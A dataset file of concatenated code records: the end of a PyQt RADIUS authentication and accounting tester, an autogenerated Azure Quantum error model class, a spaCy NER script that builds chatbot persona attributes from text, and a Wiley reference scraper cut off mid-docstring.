self.logger(\"Attributes: \") \n for attr in attr_keys:\n self.logger( \":::: %s: %s\" % (attr, self.decode_attr(attr,pkt[attr][0]))) \n\n def get_acct_type(self):\n if self.acct_start.isChecked():\n return status_vars['start']\n elif self.acct_stop.isChecked():\n return status_vars['stop']\n elif self.acct_update.isChecked():\n return status_vars['update'] \n elif self.acct_on.isChecked():\n return status_vars['on']\n elif self.acct_off.isChecked():\n return status_vars['off']\n\n def build_auth_request(self):\n req = AuthPacket2(secret=self.authsecret,dict=self.dict)\n for _row in range(self.auth_attr_table.rowCount()):\n attr_name_item = self.auth_attr_table.item(_row,0)\n attr_val_item = self.auth_attr_table.item(_row,1)\n flag_item = self.auth_attr_table.item(_row,2)\n attr_name = attr_name_item and str(attr_name_item.text())\n attr_val = attr_val_item and str(attr_val_item.text())\n flag = flag_item and flag_item.text()\n if attr_name and attr_val and flag == '1':\n val = self.encode_attr(attr_name,attr_val)\n if not val:\n continue\n if attr_name == 'CHAP-Password':\n req[\"CHAP-Password\"] = req.ChapEcrypt(val)\n elif attr_name == 'User-Password':\n req[\"User-Password\"] = req.PwCrypt(val) \n else:\n req[attr_name] = val\n return req\n\n def build_acct_request(self):\n req = packet.AcctPacket(dict=self.dict,secret=self.acctsecret)\n for _row in range(self.acct_attr_table.rowCount()):\n attr_name_item = self.acct_attr_table.item(_row,0)\n attr_val_item = self.acct_attr_table.item(_row,1)\n flag_item = self.acct_attr_table.item(_row,2)\n attr_name = attr_name_item and str(attr_name_item.text())\n attr_val = attr_val_item and str(attr_val_item.text())\n flag = flag_item and flag_item.text()\n if attr_name and attr_val and flag == '1':\n val = self.encode_attr(attr_name,attr_val)\n if val :\n req[attr_name] = val\n return req\n\n def sendauth(self,req):\n if self.is_debug.isChecked():\n self.logger(u\"\\nsend an authentication request to %s\"%self.server)\n self.log_packet(req) \n self.sock.sendto(req.RequestPacket(),(self.server,self.authport)) \n app.processEvents()\n\n def sendacct(self):\n req = self.build_acct_request()\n req['Acct-Status-Type'] = self.get_acct_type()\n if self.is_debug.isChecked():\n self.logger(\"\\nsend an accounting request\")\n self.log_packet(req) \n self.sock.sendto(req.RequestPacket(),(self.server,self.acctport)) \n app.processEvents()\n\n def random_onoff(self):\n gevent.sleep(1) \n while self.random_running:\n app.processEvents()\n user = self.testusers[random.choice(self.testusers.keys())]\n if not user.get(\"is_online\"):\n authreq = self.build_auth_request()\n authreq[\"User-Name\"] = user['user_name']\n authreq[\"User-Password\"] = authreq.PwCrypt(user['passwd']) \n if self.is_debug.isChecked():\n self.logger(u\"\\nsend an authentication request to %s\"%self.server)\n self.log_packet(authreq) \n self.rsock.sendto(authreq.RequestPacket(),(self.server,self.authport)) \n\n _session_id = uuid.uuid4().hex\n user[\"session_id\"] = _session_id\n acctreq = self.build_acct_request()\n acctreq[\"User-Name\"] = user['user_name']\n acctreq[\"Acct-Status-Type\"] = status_vars['start']\n acctreq[\"Acct-Session-Id\"] = _session_id \n acctreq[\"Acct-Session-Time\"] = random.randint(1000,9999) \n if self.is_debug.isChecked():\n self.logger(\"\\nsend an accounting start request\")\n self.log_packet(acctreq) \n self.rsock.sendto(acctreq.RequestPacket(),(self.server,self.acctport)) \n user[\"is_online\"] = True\n else:\n acctreq = self.build_acct_request()\n acctreq[\"User-Name\"] = user['user_name']\n acctreq[\"Acct-Status-Type\"] = status_vars['stop']\n acctreq[\"Acct-Session-Id\"] = user.get(\"session_id\")\n if self.is_debug.isChecked():\n self.logger(\"\\nsend an accounting stop request\")\n self.log_packet(acctreq) \n self.rsock.sendto(acctreq.RequestPacket(),(self.server,self.acctport)) \n user[\"is_online\"] = False\n\n gevent.sleep(random.choice(random_sleeps))\n\n\n def on_recv(self,times):\n _times = 0\n stat_time = time.time()\n while self.running:\n app.processEvents()\n if _times == times:\n break\n try:\n msg, addr = self.sock.recvfrom(8192)\n _times += 1\n self.lasttime = time.time()\n\n if self.lasttime - stat_time > 2:\n self.logger(\"\\nCurrent received %s response\"%_times)\n stat_time = self.lasttime\n if msg:\n self.reply += 1\n if self.is_debug.isChecked():\n try:\n resp = packet.Packet(packet=msg,dict=self.dict)\n attr_keys = resp.keys()\n self.logger(\"\\nReceived an response:\")\n self.logger(\"id:%s\" % resp.id)\n self.logger(\"code:%s\" % resp.code)\n self.logger(\"Attributes: \") \n for attr in attr_keys:\n self.logger( \":::: %s: %s\" % (attr, self.decode_attr(attr,resp[attr][0]))) \n except Exception as e:\n import traceback\n traceback.print_exc()\n self.logger('\\nerror %s'%str(e))\n except:\n break\n\n sectimes = self.lasttime - self.starttime\n if times > 1:\n percount = self.reply /sectimes\n self.logger(\"\\nTotal time (sec):%s\"%round(sectimes,4))\n self.logger(\"response total:%s\"%self.reply)\n self.logger(\"request per second:%s\"%percount)\n self.stop()\n\n def run(self,times):\n if self.running:\n return\n if times > 1:\n self.is_debug.setChecked(False)\n self.logger(\"\\nTotal request:%s\"%times) \n self.send_auth_cmd.setEnabled(False) \n self.send_acct_cmd.setEnabled(False) \n self.running = True\n self.starttime = time.time()\n self.reply = 0\n self.lasttime = 0 \n gevent.spawn(self.on_recv,times) \n\n def stop(self):\n self.running = False \n self.send_auth_cmd.setEnabled(True) \n self.send_acct_cmd.setEnabled(True) \n\n @QtCore.pyqtSlot()\n def on_send_auth_cmd_clicked(self):\n times = self.auth_times.value()\n self.run(times)\n req = self.build_auth_request()\n for _ in xrange(times):\n app.processEvents()\n if not self.running:\n break \n gevent.spawn(self.sendauth,req)\n\n\n @QtCore.pyqtSlot()\n def on_send_acct_cmd_clicked(self):\n times = self.acct_times.value()\n self.run(times)\n for _ in xrange(times):\n app.processEvents()\n if not self.running:\n break\n gevent.spawn(self.sendacct)\n\n @QtCore.pyqtSlot()\n def on_random_test_start_clicked(self):\n rand_nums = self.random_nums.value()\n if not self.random_running:\n self.log_view.clear()\n self.logger(u\"即将开始随机测试\") \n self.random_running = True\n for _ in range(rand_nums):\n gevent.spawn(self.random_onoff) \n self.random_test_start.setEnabled(False) \n self.random_test_end.setEnabled(True) \n\n\n @QtCore.pyqtSlot()\n def on_random_test_end_clicked(self):\n self.random_running = False \n self.random_test_start.setEnabled(True) \n self.random_test_end.setEnabled(False) \n\n @QtCore.pyqtSlot()\n def on_clearlog_cmd_clicked(self):\n self.log_view.clear()\n\n def closeEvent(self, event):\n global app_running\n app_running = False\n try:\n gevent.killall(timeout=2)\n except:\n pass\n event.accept()\n\n\nif __name__ == \"__main__\":\n form = TesterWin()\n form.show()\n gevent.joinall([gevent.spawn(mainloop, app)])","sub_path":"qtester.py","file_name":"qtester.py","file_ext":"py","file_size_in_byte":13389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"277321359","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n#\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is\n# regenerated.\n# --------------------------------------------------------------------------\n\nfrom msrest.serialization import Model\n\n\nclass ErrorAdditionalInfo(Model):\n \"\"\"The resource management error additional info.\n\n Variables are only populated by the server, and will be ignored when\n sending a request.\n\n :ivar type: The additional info type.\n :vartype type: str\n :ivar info: The additional info.\n :vartype info: object\n \"\"\"\n\n _validation = {\n 'type': {'readonly': True},\n 'info': {'readonly': True},\n }\n\n _attribute_map = {\n 'type': {'key': 'type', 'type': 'str'},\n 'info': {'key': 'info', 'type': 'object'},\n }\n\n def __init__(self, **kwargs) -> None:\n super(ErrorAdditionalInfo, self).__init__(**kwargs)\n self.type = None\n self.info = None\n","sub_path":"src/quantum/azext_quantum/vendored_sdks/azure_mgmt_quantum/models/error_additional_info_py3.py","file_name":"error_additional_info_py3.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"373644105","text":"import spacy\nimport random\nfrom NER_inputfield import traindata\n\n\ndef train_spacy(data, iterations):\n TRAIN_DATA = data\n nlp = spacy.blank('en') # create blank Language class\n # create the built-in pipeline components and add them to the pipeline\n # nlp.create_pipe works for built-ins that are registered with spaCy\n if 'ner' not in nlp.pipe_names:\n ner = nlp.create_pipe('ner')\n nlp.add_pipe(ner, last=True)\n\n # add labels\n for _, annotations in TRAIN_DATA:\n for ent in annotations.get('entities'):\n ner.add_label(ent[2])\n\n # get names of other pipes to disable them during training\n other_pipes = [pipe for pipe in nlp.pipe_names if pipe != 'ner']\n with nlp.disable_pipes(*other_pipes): # only train NER\n optimizer = nlp.begin_training()\n for itn in range(iterations):\n print(\"Starting iteration \" + str(itn))\n random.shuffle(TRAIN_DATA)\n losses = {}\n for text, annotations in TRAIN_DATA:\n nlp.update(\n [text], # batch of texts\n [annotations], # batch of annotations\n drop=0.2, # dropout - make it harder to memorise data\n sgd=optimizer, # callable to update weights\n losses=losses)\n print(losses)\n return nlp\n\n\ndef filter_list(doc, entity_name):\n entities = []\n\n for ent in doc.ents:\n if ent.label_ == entity_name:\n entities.append(ent.text)\n\n return entities\n\n\ndef get_character_traits(entities):\n character_traits_chatbot = {\n \"friendly\": [\"friendly\", \"kind\", \"kindly\", \"not rude\", \"n't rude\", \"not brutal\", \"n't brutal\", \"not impolite\",\n \"n't impolite\",\n \"not bold\", \"n't bold\", \"not discourteous\", \"n't discourteous\", \"not unmannerly\", \"n't unmannerly\",\n \"not uncivil\",\n \"n't uncivil\"],\n \"happy\": [\"happy\", \"glad\", \"joyous\", \"not aggressive\", \"n't aggressive\", \"not angry\", \"n't angry\", \"not mad\",\n \"n't mad\",\n \"not evil\", \"n't evil\"],\n \"aggressive\": [\"aggressive\", \"angry\", \"mad\", \"evil\", \"not happy\", \"n't happy\", \"not glad\", \"n't glad\",\n \"not joyous\", \"n't joyous\"],\n \"rude\": [\"rude\", \"brutal\", \"impolite\", \"bold\", \"discourteous\", \"unmannerly\", \"uncivil\", \"not friendly\",\n \"n't friendly\",\n \"not kind\", \"n't kind\", \"not kindly\", \"n't kindly\"],\n \"lazy\": [\"lazy\", \"idle\"],\n \"pushy\": [\"pushy\", \"pushful\", \"obtrusive\"]}\n character_traits = []\n\n for entity in entities:\n for ct, cts in character_traits_chatbot.items():\n for c in cts:\n if entity.lower() == c and ct.lower() not in character_traits:\n character_traits.append(ct)\n\n if len(character_traits) == 0:\n num = random.randint(0, len(character_traits_chatbot) - 1)\n character_traits.append(list(character_traits_chatbot)[num])\n\n return character_traits\n\n\ndef get_age(entities):\n possible_ages = []\n sum_ages = 0\n\n for entity in entities:\n if entity.isdigit():\n if 100 >= int(entity) >= 0:\n possible_ages.append(int(entity))\n\n if len(possible_ages) != 0:\n for age in possible_ages:\n sum_ages += age\n\n average = round(sum_ages / len(possible_ages))\n return average\n else:\n age = random.randint(18, 100)\n return age\n\n\ndef get_gender(entities):\n gender_male_keywords = {\"he\", \"male\", \"him\", \"his\", \"man\", \"men\", \"husband\", \"husbands\"}\n gender_female_keywords = {\"she\", \"female\", \"her\", \"woman\", \"women\", \"wife\", \"wives\", \"girl\"}\n male_counter = 0\n female_counter = 0\n\n for entity in entities:\n if entity.lower() in gender_male_keywords:\n male_counter = male_counter + 1\n elif entity.lower() in gender_female_keywords:\n female_counter = female_counter + 1\n\n if male_counter == female_counter:\n num = random.randint(0, 1)\n if num == 0:\n return \"male\"\n else:\n return \"female\"\n else:\n if male_counter > female_counter:\n return \"male\"\n else:\n return \"female\"\n\n\ndef get_glasses(entities):\n glasses_keywords = {\"wears glasses\", \"wear glasses\", \"wearing glasses\", \"has glasses\"}\n no_glasses_keywords = {\"wears no glasses\", \"wear no glasses\", \"wearing no glasses\", \"not wear glasses\",\n \"no glasses\"}\n glasses_counter = 0\n no_glasses_counter = 0\n\n for entity in entities:\n if entity.lower() in glasses_keywords:\n glasses_counter = glasses_counter + 1\n elif entity.lower() in no_glasses_keywords:\n no_glasses_counter = no_glasses_counter + 1\n\n if glasses_counter == no_glasses_counter:\n num = random.randint(0, 1)\n if num == 0:\n return True\n else:\n return False\n else:\n if glasses_counter > no_glasses_counter:\n return True\n else:\n return False\n\n\ndef ethnicity_picker(ethnicity_dict):\n ety_list = []\n largest_count = max(ethnicity_dict.values())\n print(ethnicity_dict)\n for ety, counter in ethnicity_dict.items():\n if counter == largest_count:\n ety_list.append(ety)\n\n print(ety_list)\n num = random.randint(0, len(ety_list) - 1)\n return list(ety_list)[num]\n\n\ndef get_ethnicity(entities):\n ethnicity_keywords = {\"caucasian\": 0, \"african\": 0, \"southern\": 0, \"asian\": 0}\n for entity in entities:\n for ety, counter in ethnicity_keywords.items():\n if entity.lower() == ety.lower():\n ethnicity_keywords[ety] = counter + 1\n\n return ethnicity_picker(ethnicity_keywords)\n\n\ndef get_random_name(gender, ethnicity):\n female_names = {\n \"caucasian\": [\"Molly\", \"Claire\", \"Abigail\", \"Jenna\", \"Allison\", \"Hannah\", \"Kaitlin\", \"Katy\", \"Emily\",\n \"Katherine\"],\n \"african\": [\"Nombeko\", \"Ekua\", \"Emem\", \"Anaya\", \"Ashanti\", \"Chike\", \"Mesi\", \"Nia\", \"Sauda\", \"Zalika\"],\n \"southern\": [\"Caroline\", \"Charlotte\", \"Ruby\", \"Bea\", \"Daisy\", \"Isabelle\", \"Selena\", \"Rita\", \"Ella\", \"Violet\"],\n \"asian\": [\"Kim\", \"Minji\", \"Jane\", \"Lily\", \"Alice\", \"Amy\", \"Jessica\", \"Sarah\", \"Rachel\", \"Cherry\"]}\n\n male_names = {\"caucasian\": [\"Jake\", \"Cody\", \"Luke\", \"Logan\", \"Cole\", \"Lucas\", \"Bradley\", \"Jacob\", \"Dylan\", \"Colin\"],\n \"african\": [\"Akachi\", \"Berko\", \"Cayman\", \"Chibuzo\", \"Desta\", \"Dubaku\", \"Keyon\", \"Obasi\", \"Simba\",\n \"Talib\"],\n \"southern\": [\"Billy\", \"Abott\", \"Alden\", \"Mason\", \"Davis\", \"Nolan\", \"Redmond\", \"Victor\", \"Lester\",\n \"Emmet\"],\n \"asian\": [\"Lee\", \"Jason\", \"Daniel\", \"James\", \"David\", \"Jack\", \"Eric\", \"Tony\", \"Sam\", \"Chris\"]}\n\n if gender.lower() == \"male\":\n for ety, names in male_names.items():\n if ety == ethnicity:\n rand_num = random.randint(0, len(names) - 1)\n return names[rand_num]\n else:\n for ety, names in female_names.items():\n if ety == ethnicity:\n rand_num = random.randint(0, len(names) - 1)\n return names[rand_num]\n\n\ndef get_json(doc):\n character_traits = get_character_traits(filter_list(doc, \"ct\"))\n age = get_age(filter_list(doc, \"age\"))\n gender = get_gender(filter_list(doc, \"gender\"))\n glasses = get_glasses(filter_list(doc, \"glasses\"))\n ethnicity = get_ethnicity(filter_list(doc, \"ety\"))\n name = get_random_name(gender, ethnicity)\n\n json_data = {\"Id\": 1,\n \"character_traits\": character_traits,\n \"age\": age,\n \"gender\": gender,\n \"glasses\": glasses,\n \"ethnicity\": ethnicity,\n \"name\": name}\n\n print(json_data)\n\n return character_traits\n\n\ndef get_json_data_from_input(text_input):\n TRAIN_DATA = traindata.test()\n\n try:\n spacy.load('../NER_inputfield/ner_model')\n trainable = False # Must be False\n except IOError:\n trainable = True\n\n if trainable:\n prdnlp = train_spacy(TRAIN_DATA, 20)\n\n # Save our trained Model\n prdnlp.to_disk('../NER_inputfield/ner_model')\n else:\n nlp = spacy.load('../NER_inputfield/ner_model')\n\n prdnlp = nlp\n\n test_text = text_input\n doc = prdnlp(test_text)\n\n all_entities = []\n\n for ent in doc.ents:\n all_entities.append(ent.text)\n print(ent.text, ent.start_char, ent.end_char, ent.label_)\n\n get_json(doc)\n\n\nget_json_data_from_input(\n \"sHe is 28 years old and has a dog. Sometimes she is very rude and aggressive to people. She is a southern.\")\n\n# K. Jaiswal. Custom Named Entity Recognition Using Spacy. Geraadpleegd via\n# https://towardsdatascience.com/custom-named-entity-recognition-using-spacy-7140ebbb3718\n# Geraadpleegd op 4 april 2020\n\n# M. Murugavel. How to Train NER with Custom training data using spaCy. Geraadpleegd via\n# https://medium.com/@manivannan_data/how-to-train-ner-with-custom-training-data-using-spacy-188e0e508c6\n# Geraadpleegd op 4 april 2020\n\n# M. Murugavel. Train Spacy ner with custom dataset. Geraadpleegd via\n# https://github.com/ManivannanMurugavel/spacy-ner-annotator\n# Geraadpleegd op 4 april 2020\n","sub_path":"NER_inputfield/ner.py","file_name":"ner.py","file_ext":"py","file_size_in_byte":9415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"613666570","text":"# -*- coding: utf-8 -*-\n\"\"\"\nhttp://onlinelibrary.wiley.com/doi/10.1111/j.1440-1681.1976.tb00619.x/abstract\n\nModule: pypub.scrapers.wiley\n\nStatus: In progress\n\n#TODO: Add tests, this stuff will break!\n#TODO: Allow extraction of the refs as a csv,json,xml, etc - this might \n go into utils\n\n#TODO: STANDARDIZE THE FUNCTION INPUTS!!!\n - Either get references and get entry info both using a URL as the input, or\n both using a DOI/PII as an input. Different inputs for each is confusing.\n\nTasks/Examples:\n---------------\n1) ****** Get references given a doi value *******\nfrom pypub.scrapers import wiley as wy\n\nrefs = wy.get_references('10.1002/biot.201400046',verbose=True)\n\n\ndf = refs[0].to_data_frame(refs)\n\n\nCurrently I am building something that allows extraction of references from\na Wiley URL.\n\n\n\"\"\"\n# Standard imports\n#----------------------------------------\nimport sys\n\nimport os\nimport re\n\nif sys.version_info.major == 2:\n from urllib import unquote as urllib_unquote\n from urllib import quote as urllib_quote\nelse:\n from urllib.parse import unquote as urllib_unquote\n from urllib.parse import quote as urllib_quote\n\n# Third party imports\n#-------------------------------------------\nimport requests\nfrom bs4 import BeautifulSoup\n\n# Local imports\n#------------------------------------\n#sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nfrom pypub.utils import get_truncated_display_string as td\nfrom pypub.utils import findValue\nfrom pypub.utils import convert_to_dict\nfrom pypub.pypub_errors import *\nfrom pypub.scrapers.base_objects import BaseAuthor, BaseEntry, BaseRef\n\n_WY_URL = 'https://onlinelibrary.wiley.com'\n\nclass WileyAuthor(BaseAuthor):\n\n def __init__(self, li_tag):\n \"\"\"\n\n Example:\n
  1. J. Cleese* and
  2. G. Chapman
  3. \n

Author Information

    University

*Correspondence: J. Cleese\n at University

\n\n Parameters\n ----------\n li_tag\n\n Returns\n -------\n\n Improvements\n ------------\n 1) Allow retrieval of icon info:\n - corresponding author info\n - email author\n 2) Split name into parts\n\n \"\"\"\n super().__init__()\n\n # Get author name\n self.name = li_tag.contents[0]\n\n self.contact = None\n self.superscripts = []\n self.email = None\n\n # Extract all integers from the superscripted text\n # This way each author object has a list of superscripts\n # corresponding to the affiliation list indices.\n sup = li_tag.find('sup')\n\n if sup is not None:\n sup = sup.text\n self.superscripts = re.findall(r'\\d+', sup)\n\n if sup.find('*') != -1:\n self.contact = 1\n else:\n self.contact = None\n\n #\n def populate_affiliations(self,aff_labels):\n self.affiliations = [aff_labels[int(x)-1] for x in self.superscripts]\n\n def __repr__(self):\n return u'' + \\\n 'name: %s\\n' % self.name + \\\n 'affiliations: %s\\n' % self.affiliations + \\\n 'email: %s\\n' % self.email\n\n\nclass WileyEntry(BaseEntry):\n \"\"\"\n This could be a step above the reference since it would, for example,\n contain all authors on a paper.\n\n Attributes\n ----------\n doi : string\n The unique identifier\n\n See Also\n ----------\n WileyRef\n\n Examples\n ----------\n from pypub.scrapers import wiley as wy\n url = 'http://onlinelibrary.wiley.com/doi/10.1111/j.1440-1681.1976.tb00619.x/references'\n wye = wy.WileyEntry(url,verbose=True)\n\n Improvements\n ----------\n - Add citing articles\n\n \"\"\"\n def __init__(self, soup, verbose=False):\n super().__init__()\n # Get entry content information\n mainContent = soup.find('div', {'id' : 'mainContent'})\n if mainContent is None:\n raise ParseException('Unable to find main content of page')\n\n # Check for 'Page Not Found'\n error404 = mainContent.find('div', {'id' : 'error'})\n if error404 is not None:\n raise ParseException('Article was not found.')\n\n # Metadata:\n #---------------\n self.title = findValue(mainContent, 'span', 'mainTitle', 'class').title()\n if self.title is not None:\n self.title = self.title.title()\n\n self.publication = findValue(mainContent, 'h2', 'productTitle', 'id')\n\n # For old journal issues, two dates are given: original publication date and\n # online publication date. This returns the original journal pub date.\n self.date = findValue(mainContent, 'span', 'issueDate', 'id')\n if self.date is not None:\n self.year = self.date[-4:]\n\n vol = findValue(mainContent, 'span', 'volumeNumber', 'id')\n if vol is not None:\n vol = vol.lower().replace('volume ', '')\n issue = findValue(mainContent, 'span', 'issueNumber', 'id')\n if issue is not None:\n issue = issue.lower().replace('issue ', '')\n self.volume = vol\n self.issue = issue\n\n self.pages = findValue(mainContent, 'span', 'issuePages', 'id')\n if self.pages is not None:\n self.pages = self.pages[6:] # to get rid of 'pages: ' at the beginning\n\n\n # Keywords and Abstract:\n #----------\n productContent = soup.find('div', {'id' : 'productContent'})\n keybox = productContent.find('div', {'class' : 'keywordLists'})\n if keybox is None:\n self.keywords = None\n else:\n wordlist = keybox.find_all('li')\n self.keywords = [w.text for w in wordlist]\n\n abstract_section = productContent.find('div', {'id' : 'abstract'})\n if abstract_section is not None:\n self.abstract = abstract_section.text\n else:\n self.abstract = None\n\n\n # DOI Retrieval:\n #---------------\n # This might be more reliable than assuming we have the DOI in the title\n self.doi = findValue(mainContent, 'p', 'doi', 'id')\n self.doi = self.doi[5:] # to get rid of 'DOI: ' at the beginning\n\n\n # Authors:\n #---------\n # Find list items within the ordered list with id 'authors'\n authorList = mainContent.find('ol', {'id':'authors'}).find_all('li')\n self.authors = [WileyAuthor(x) for x in authorList]\n\n # Find all list items with the 'affiliation' class\n # The content is kept in a

tag within each list item\n aff_tags = mainContent.find_all('li', {'class' : 'affiliation'})\n self.affiliations = [a.find('p').text for a in aff_tags]\n\n # Clean up strings - Not sure if necessary\n for a in range(len(self.affiliations)):\n self.affiliations[a] = self.affiliations[a].replace(', and ', '')\n self.affiliations[a] = self.affiliations[a].replace(' ', '')\n\n corr = mainContent.find('p', {'id' : 'correspondence'})\n if corr is not None:\n email = findValue(corr, 'a', 'Link to email address', 'title')\n else:\n email = ''\n\n # Assign affiliations to authors\n for author in self.authors:\n author.populate_affiliations(self.affiliations)\n if author.contact == 1:\n author.email = email\n\n\n\n def __repr__(self):\n return u'' + \\\n ' title: %s\\n' % td(self.title) + \\\n ' authors: %s\\n' % self.authors + \\\n ' keywords: %s\\n' % self.keywords + \\\n 'publication: %s\\n' % self.publication + \\\n ' date: %s\\n' % self.date + \\\n ' volume: %s\\n' % self.volume + \\\n ' issue: %s\\n' % self.issue + \\\n ' pages: %s\\n' % self.pages + \\\n ' doi: %s\\n' % self.doi + \\\n ' abstract: %s\\n' % self.abstract\n\n\n @classmethod\n def from_doi(doi):\n return WileyEntry(_WY_URL + '/doi/' + str(doi) + '/abstract')\n\n\n# TODO: Inherit from some abstract ref class\n# I think the abstract class should only require conversion to a common standard\nclass WileyRef(BaseRef):\n \"\"\"\n This is the result class of calling get_references. It contains the\n bibliographic information about the reference, as well as additional meta\n information such as a DOI (if known).\n\n Attributes:\n -----------\n ref_id : int\n The index of the reference in the citing document. A value of 1\n indicates that the reference is the first reference in the citing\n document.\n title : string\n authors : string\n List of the authors. This list may be truncated if there are too many\n authors, e.g.: 'N. Zabihi, A. Mourtzinos, M.G. Maher, et al.'\n publication : string\n Abbreviated (typically?) form of the journal\n volume : string\n date : string\n This appears to always be the year\n doi : string\n Digital Object Identifier. May be None if not present. This is\n currently based on the presence of a link to fulltext via Crossref.\n pdf_link : string (default None)\n If not None, this link points to the pdf of the article.\n\n\n\n See Also:\n get_references\n\n \"\"\"\n def __init__(self, ref_tags, ref_id):\n\n \"\"\"\n\n Parameters:\n -----------\n ref_tags: bs4.element.Tag\n Html tags as soup of the reference. Information provided is that\n needed in order to form a citation for the given reference.\n ref_id: int\n The id of the reference as ordered in the citing entry. A value\n of 0 indicates that this object is the first reference in \n the bibliography.\n\n\n \"\"\"\n super().__init__()\n # Reference Bibliography Section:\n #--------------------------------\n self.ref_id = ref_id + 1 # Input is 0 indexed\n self.title = findValue(ref_tags, 'span', 'articleTitle', 'class')\n authorlist = ref_tags.find_all('span', 'author', 'class')\n self.authors = [x.text for x in authorlist]\n\n # Note: we can also get individual authors if we would like.\n #\n # On Wiley, each reference author is given a separate tag with the class 'author'\n # so individual authors can be extracted\n #\n\n self.publication = findValue(ref_tags, 'span', 'journalTitle', 'class')\n self.volume = findValue(ref_tags, 'span', 'vol', 'class')\n self.date = findValue(ref_tags, 'span', 'pubYear', 'class')\n\n firstp = findValue(ref_tags, 'span', 'pageFirst', 'class')\n lastp = findValue(ref_tags, 'span', 'pageLast', 'class')\n if (firstp is not None) and (lastp is not None):\n self.pages = firstp + '-' + lastp\n else:\n self.pages = None\n\n\n # Reference Meta Section:\n #------------------------------\n\n self.crossref = None\n self.pubmed = None\n self.pubmed_id = None\n self.doi = None\n self.citetimes = None\n self.cas = None\n self.abstract = None\n self.pdf_link = None\n self.ref_references = None\n\n # External links (i.e. PubMed, CrossRef, CAS) are kept in a ul tag\n # Internal links (i.e. direct to abstract, references, etc.) are in a div\n # Need to check for both\n links = ref_tags.find('ul', 'externalReferences', 'class')\n if links is None:\n links = ref_tags.find('div', 'internalReferences', 'class')\n\n # Only proceed if either internal or external references were found\n if links is not None:\n links = links.find_all('li')\n\n # Check against all possible link options and save links.\n # href links are appended onto base URL ('http://onlinelibrary.wiley.com')\n #\n for link in links:\n label = link.text.lower()\n href = link.find('a', href=True)['href']\n href = urllib_quote(href)\n\n if 'crossref' in label:\n self.doi = href[href.find('10.'):] # Grab everything starting with '10.' in link\n if self.doi == -1:\n self.doi = None\n self.doi = urllib_unquote(self.doi)\n # CrossRef link is in the form of _WY_URL/resolve/reference/XREF?id=10.#######\n self.crossref = _WY_URL + urllib_unquote(href)\n elif 'pubmed' in label:\n self.pubmed_id = re.search('[^id=]+$',href).group(0)[1:] # the [1:] is to get rid of leading '='\n self.pubmed_id = urllib_unquote(self.pubmed_id)\n self.pubmed = _WY_URL + urllib_unquote(href)\n elif 'web ' in label:\n self.citetimes = re.search('[^: ]+$',label).group(0)\n elif label in ('cas', 'cas,'):\n self.cas = _WY_URL + urllib_unquote(href)\n elif 'abstract' in label:\n self.abstract = _WY_URL + urllib_unquote(href)\n elif 'pdf' in label:\n self.pdf_link = _WY_URL + urllib_unquote(href)\n elif 'references' in label:\n self.ref_references = _WY_URL + urllib_unquote(href)\n\n\n def __repr__(self):\n return u'' + \\\n ' ref_id: %s\\n' % self.ref_id + \\\n ' title: %s\\n' % td(self.title) + \\\n ' authors: %s\\n' % self.authors + \\\n ' publication: %s\\n' % self.publication + \\\n ' volume: %s\\n' % self.volume + \\\n ' date: %s\\n' % self.date + \\\n ' pages: %s\\n' % self.pages + \\\n ' pubmed_link: %s\\n' % self.pubmed + \\\n ' pubmed_id: %s\\n' % self.pubmed_id + \\\n ' crossref_link: %s\\n' % self.crossref + \\\n ' CAS_link: %s\\n' % self.cas + \\\n ' abstract_link: %s\\n' % self.abstract + \\\n ' references_link: %s\\n' % self.ref_references + \\\n ' pdf_link: %s\\n' % self.pdf_link + \\\n ' doi: %s\\n' % self.doi + \\\n 'web of science times cited: %s\\n' % self.citetimes\n\n\ndef get_references(doi_or_url, verbose=False):\n \"\"\"\n This function gets references for a Wiley URL that is of the\n form:\n\n http://www.onlinelibrary.wiley.com/doi/####################/references\n\n (ending could also be /abstract or /citedby)\n\n e.g. http://onlinelibrary.wiley.com/doi/10.1111/j.1464-4096.2004.04875.x/references\n\n \"\"\"\n\n # TODO: Make this a class reference parser\n\n # If you view the references, they should be wrapped by a

    tag\n # with the attribute class=\"article-references\"\n REFERENCE_SECTION_TAG = ('div', {'class' : 'bibliography'})\n\n # TODO: check what this guest tag actually looks like\n # When we don't have proper access rights, this is present in the html\n GUEST_TAG = ('div', {'id' : 'acessDenialslot'})\n\n # Entries are \"li\" tags with ids of the form:\n # b1, b2, b3, etc.\n # Hopefully this doesn't grab other random list items on the page\n REFERENCE_TAG = ('li', {'id' : re.compile('b*')})\n\n # Step 1 - Make the request\n #--------------------------------------------------------------------------\n soup = get_page_soup(doi_or_url, 'references', verbose)\n\n # Step 2 - Get the references tags\n #--------------------------------------------------------------------------\n # The reference tags contain most of the information about references\n # They are however missing a lot of the linking information\n # e.g. link to the article, pdf download, etc\n\n reference_section = soup.find(*REFERENCE_SECTION_TAG)\n\n if reference_section is None:\n # Then we might be a guest. In other words, we might not have sufficient\n # privileges to access the data we want. Generally this is protected via\n # IP mask. When I'm working from home I need to VPN into work so\n # that I can access the data :/\n print(\"reference_section is None\")\n temp = soup.find(*GUEST_TAG)\n import pdb\n pdb.set_trace()\n if temp is None:\n #We might have no references ...\n return []\n #TODO: Should probably have warning...\n #raise ParseException(\"References were not found\")\n else:\n raise InsufficientCredentialsException(\"Insufficient access rights to get referencs, requires certain IP addresses (e.g. university based IP)\")\n\n ref_tags = reference_section.find_all(*REFERENCE_TAG)\n\n n_refs = len(ref_tags)\n\n if n_refs == 0:\n return None\n\n\n # Step 3 - Create reference objects\n #--------------------------------------------------------------------------\n # The reference objects parse out information for each reference\n # as well as external links.\n if verbose:\n print('Creating reference objects')\n ref_objects = [WileyRef(ref_tag, ref_id) for \\\n ref_tag, ref_id in \\\n zip(ref_tags, range(n_refs))]\n\n\n #All done!\n #---------\n return ref_objects\n\n\ndef get_pdf_link(input):\n \"\"\"\n Takes a DOI or article URL and returns the link to the pdf.\n This function currently does this by scraping the website and finding\n the link used in the \"Get PDF\" button on the site, but Wiley is nice\n and an alternate way of getting it is to just make the URL suffix\n '/pdf' or 